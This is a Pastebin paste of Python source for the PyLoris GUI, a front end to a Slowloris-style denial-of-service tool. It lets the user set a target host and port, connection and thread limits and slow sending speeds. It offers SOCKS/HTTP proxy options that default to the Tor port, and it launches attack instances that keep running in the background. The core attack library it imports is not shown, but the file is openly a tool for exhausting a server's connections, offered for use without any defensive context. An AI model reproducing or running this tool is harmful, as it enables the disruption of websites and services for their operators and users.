iViiRuS

PyLoris

Jan 8th, 2015
510
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. #! /usr/bin/env python
  2.  
  3. """
  4. pyloris.py
  5. This is the new face of PyLoris. Simply invoking this script will present
  6. the flashy new Tkinter GUI. All connections options are on the left, while
  7. the main request body is located in the text area on the right. Multiple
  8. attack instances can be run simultaneously, with different connection
  9. and request body parameters. One caveat is that PyLoris will continue to
  10. silently run in the background unless the main window is closed or the "Stop
  11. Attack" button is clicked.
  12. """
  13.  
  14. from Tkinter import BooleanVar
  15. from Tkinter import *
  16. from Tkinter import Toplevel
  17. import time
  18.  
  19. from libloris import *
  20.  
  21. class MainWindow(Tk):
  22.     def __init__(self):
  23.         Tk.__init__(self)
  24.         self.title(string = ".o0O| PyLoris |O0o.")
  25.         self.lws = []
  26.  
  27.         self.options = {
  28.             'host' : StringVar(),
  29.             'port' : IntVar(),
  30.             'ssl' : BooleanVar(),
  31.             'attacklimit' : IntVar(),
  32.             'connectionlimit' : IntVar(),
  33.             'threadlimit' : IntVar(),
  34.             'connectionspeed' : DoubleVar(),
  35.             'timebetweenthreads' : DoubleVar(),
  36.             'timebetweenconnections' : DoubleVar(),
  37.             'quitimmediately' : BooleanVar(),
  38.             'socksversion' : StringVar(),
  39.             'sockshost' : StringVar(),
  40.             'socksport' : IntVar(),
  41.             'socksuser' : StringVar(),
  42.             'sockspass' : StringVar(),
  43.             'request' : StringVar(),
  44.         }
  45.  
  46.         self.options['host'].set('localhost')
  47.         self.options['port'].set(80)
  48.         self.options['ssl'].set(False)
  49.         self.options['attacklimit'].set(500)
  50.         self.options['connectionlimit'].set(500)
  51.         self.options['threadlimit'].set(50)
  52.         self.options['connectionspeed'].set(0.3)
  53.         self.options['timebetweenthreads'].set(0.3)
  54.         self.options['timebetweenconnections'].set(1)
  55.         self.options['quitimmediately'].set(False)
  56.         self.options['socksversion'].set('NONE')
  57.         self.options['sockshost'].set('localhost')
  58.         self.options['socksport'].set(9050)
  59.         self.options['socksuser'].set('')
  60.         self.options['sockspass'].set('')
  61.  
  62.         gf = LabelFrame(self, text = 'General', relief = GROOVE, labelanchor = 'nw', width = 400, height = 90)
  63.         gf.grid(row = 0, column = 1)
  64.         gf.grid_propagate(0)
  65.         Label(gf, text = 'Host:').grid(row = 0, column = 1)
  66.         Entry(gf, textvariable = self.options['host']).grid(row = 0, column = 2, columnspan = 2)
  67.         Label(gf, text = 'Port:').grid(row = 1, column = 1)
  68.         Entry(gf, textvariable = self.options['port']).grid(row = 1, column = 2, columnspan = 2)
  69.         Checkbutton(gf, text = 'SSL', variable = self.options['ssl']).grid(row = 2, column = 1)
  70.  
  71.         bf = LabelFrame(self, text = 'Behavior', relief = GROOVE, labelanchor = 'nw', width = 400, height = 170)
  72.         bf.grid(row = 1, column = 1)
  73.         bf.grid_propagate(0)
  74.         Label(bf, text = 'Attack Limit (0 = No limit):').grid(row = 0, column = 1)
  75.         Entry(bf, textvariable = self.options['attacklimit']).grid(row = 0, column = 2)
  76.         Label(bf, text = 'Connection Limit (0 = No limit):').grid(row = 1, column = 1)
  77.         Entry(bf, textvariable = self.options['connectionlimit']).grid(row = 1, column = 2)
  78.         Label(bf, text = 'Thread Limit (0 = No limit):').grid(row = 2, column = 1)
  79.         Entry(bf, textvariable = self.options['threadlimit']).grid(row = 2, column = 2)
  80.         Label(bf, text = 'Connection speed (bytes/sec):').grid(row = 3, column = 1)
  81.         Entry(bf, textvariable = self.options['connectionspeed']).grid(row = 3, column = 2)
  82.         Label(bf, text = 'Time between thread spawns (seconds):').grid(row = 4, column = 1)
  83.         Entry(bf, textvariable = self.options['timebetweenthreads']).grid(row = 4, column = 2)
  84.         Label(bf, text = 'Time between connections (seconds):').grid(row = 5, column = 1)
  85.         Entry(bf, textvariable = self.options['timebetweenconnections']).grid(row = 5, column = 2)
  86.         Checkbutton(bf, text = 'Close finished connections', variable = self.options['quitimmediately']).grid(row = 6, column = 1, columnspan = 2)
  87.  
  88.         pf = LabelFrame(self, text = 'Proxy', relief = GROOVE, labelanchor = 'nw', width = 400, height = 130)
  89.         pf.grid(row = 2, column = 1)
  90.         pf.grid_propagate(0)
  91.         Label(pf, text = 'Proxy type (SOCKS4/SOCKS5/HTTP/NONE)').grid(row = 0, column = 1)
  92.         Entry(pf, textvariable = self.options['socksversion']).grid(row = 0, column = 2)
  93.         Label(pf, text = 'Proxy Hostname / IP Address').grid(row = 1, column = 1)
  94.         Entry(pf, textvariable = self.options['sockshost']).grid(row = 1, column = 2)
  95.         Label(pf, text = 'Proxy Port').grid(row = 2, column = 1)
  96.         Entry(pf, textvariable = self.options['socksport']).grid(row = 2, column = 2)
  97.         Label(pf, text = 'Proxy Username').grid(row = 3, column = 1)
  98.         Entry(pf, textvariable = self.options['socksuser']).grid(row = 3, column = 2)
  99.         Label(pf, text = 'Proxy Password').grid(row = 4, column = 1)
  100.         Entry(pf, textvariable = self.options['sockspass']).grid(row = 4, column = 2)
  101.  
  102.         Button(self, text = "Launch", command = self.launch).grid(row = 3, column = 1)
  103.  
  104.         df = LabelFrame(self, text = 'Request Body', relief = GROOVE, labelanchor = 'nw')
  105.         df.grid(row = 0, column = 2, rowspan = 4)
  106.         self.options['request'] = Text(df, foreground="white", background="black", highlightcolor="white", highlightbackground="purple", wrap=NONE, height = 28, width = 80)
  107.         self.options['request'].grid(row = 0, column = 1)
  108.         self.options['request'].insert(END, 'GET / HTTP/1.1\r\nHost: www.example.com\r\nKeep-Alive: 300\r\nConnection: Keep-Alive\r\nReferer: http://www.demonstration.com/\r\n')
  109.         self.options['request'].insert(END, 'User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/532.5 (KHTML, like Gecko) Chrome/4.1.249.1045 Safari/532.5\r\n')
  110.         self.options['request'].insert(END, 'Cookie: data1=' + ('A' * 100) + '&data2=' + ('A' * 100) + '&data3=' + ('A' * 100) + '\r\n')
  111.  
  112.  
  113.     def launch(self):
  114.         lorisoptions = DefaultOptions()
  115.         for key in self.options.keys():
  116.             if key == 'request': lorisoptions[key] = self.options[key].get('1.0', END)
  117.             elif key == 'quitimmediately' or key == 'ssl':
  118.                 if self.options[key].get() == 0:
  119.                     lorisoptions[key] = False
  120.                 else: lorisoptions[key] = self.options[key].get()
  121.             else: lorisoptions[key] = self.options[key].get()
  122.  
  123.         self.lws.append(LorisWindow('%s:%i' % (lorisoptions['host'], lorisoptions['port']), lorisoptions))
  124.  
  125.     def checkloop(self):
  126.         thread.start_new_thread(self.check, ())
  127.  
  128.     def check(self):
  129.         while True:
  130.             for lw in self.lws:
  131.                 lw.check()
  132.             time.sleep(1)
  133.  
  134. class LorisWindow(Toplevel):
  135.     def __init__(self, title, options):
  136.         Toplevel.__init__(self)
  137.         self.title(string = title)
  138.         self.loris = Loris()
  139.         self.loris.LoadOptions(options)
  140.         self.elements = {'attacks' : StringVar(), 'threads' : StringVar(), 'sockets' : StringVar()}
  141.         self.loris.start()
  142.  
  143.         sf = LabelFrame(self, text = 'Status', width = 180, height = 138)
  144.         sf.grid(row = 0, column = 1)
  145.         sf.grid_propagate(0)
  146.         Label(sf, text = 'Target: %s:%i' % (options['host'], options['port'])).grid(row = 0, column = 1)
  147.         Label(sf, text = 'Attacks: 0', textvar = self.elements['attacks']).grid(row = 1, column = 1)
  148.         Label(sf, text = 'Threads: 0', textvar = self.elements['threads']).grid(row = 2, column = 1)
  149.         Label(sf, text = 'Sockets: 0', textvar = self.elements['sockets']).grid(row = 3, column = 1)
  150.         Button(sf, text = 'Stop Attack', command = self.loris.stop).grid(row = 4, column = 1)
  151.  
  152.         df = LabelFrame(self, text = 'Log')
  153.         df.grid(row = 0, column = 2)
  154.         self.elements['logs'] = Text(df, foreground="white", background="black", highlightcolor="white", highlightbackground="purple", wrap=WORD, height = 8, width = 80)
  155.         self.elements['logs'].grid(row = 0, column = 1)
  156.  
  157.     def check(self):
  158.         status = self.loris.status()
  159.         self.elements['attacks'].set('Attacks: %i' % (status[0]))
  160.         self.elements['threads'].set('Threads: %i' % (status[1]))
  161.         self.elements['sockets'].set('Sockets: %i' % (status[2]))
  162.  
  163.         try:
  164.             while True:
  165.                 message = self.loris.messages.get(False)
  166.                 self.elements['logs'].insert(END, '%s\n' % message)
  167.                 self.elements['logs'].yview_moveto(1.0)
  168.         except:
  169.             pass
  170.  
  171.         try:
  172.             while True:
  173.                 debug = self.loris.debug.get(False)
  174.                 self.elements['logs'].insert(END, '%s\n' % debug)
  175.                 self.elements['logs'].yview_moveto(1.0)
  176.         except:
  177.             pass
  178.  
  179.         try:
  180.             while True:
  181.                 error = self.loris.errors.get(False)
  182.                 self.elements['logs'].insert(END, '[ERROR]: %s\n' % error)
  183.                 self.elements['logs'].yview_moveto(1.0)
  184.         except:
  185.             pass
  186.  
  187. if __name__ == '__main__':
  188.     try:
  189.         mw = MainWindow()
  190.         mw.checkloop()
  191.         mw.mainloop()
  192.     except Exception, ex:
  193.         print('There was an error: %s.\nQuitting.' % ex)
RAW Paste Data

Adblocker detected! Please consider disabling it...

We've detected AdBlock Plus or some other adblocking software preventing Pastebin.com from fully loading.

We don't have any obnoxious sound, or popup ads, we actively block these annoying types of ads!

Please add Pastebin.com to your ad blocker whitelist or disable your adblocking software.

×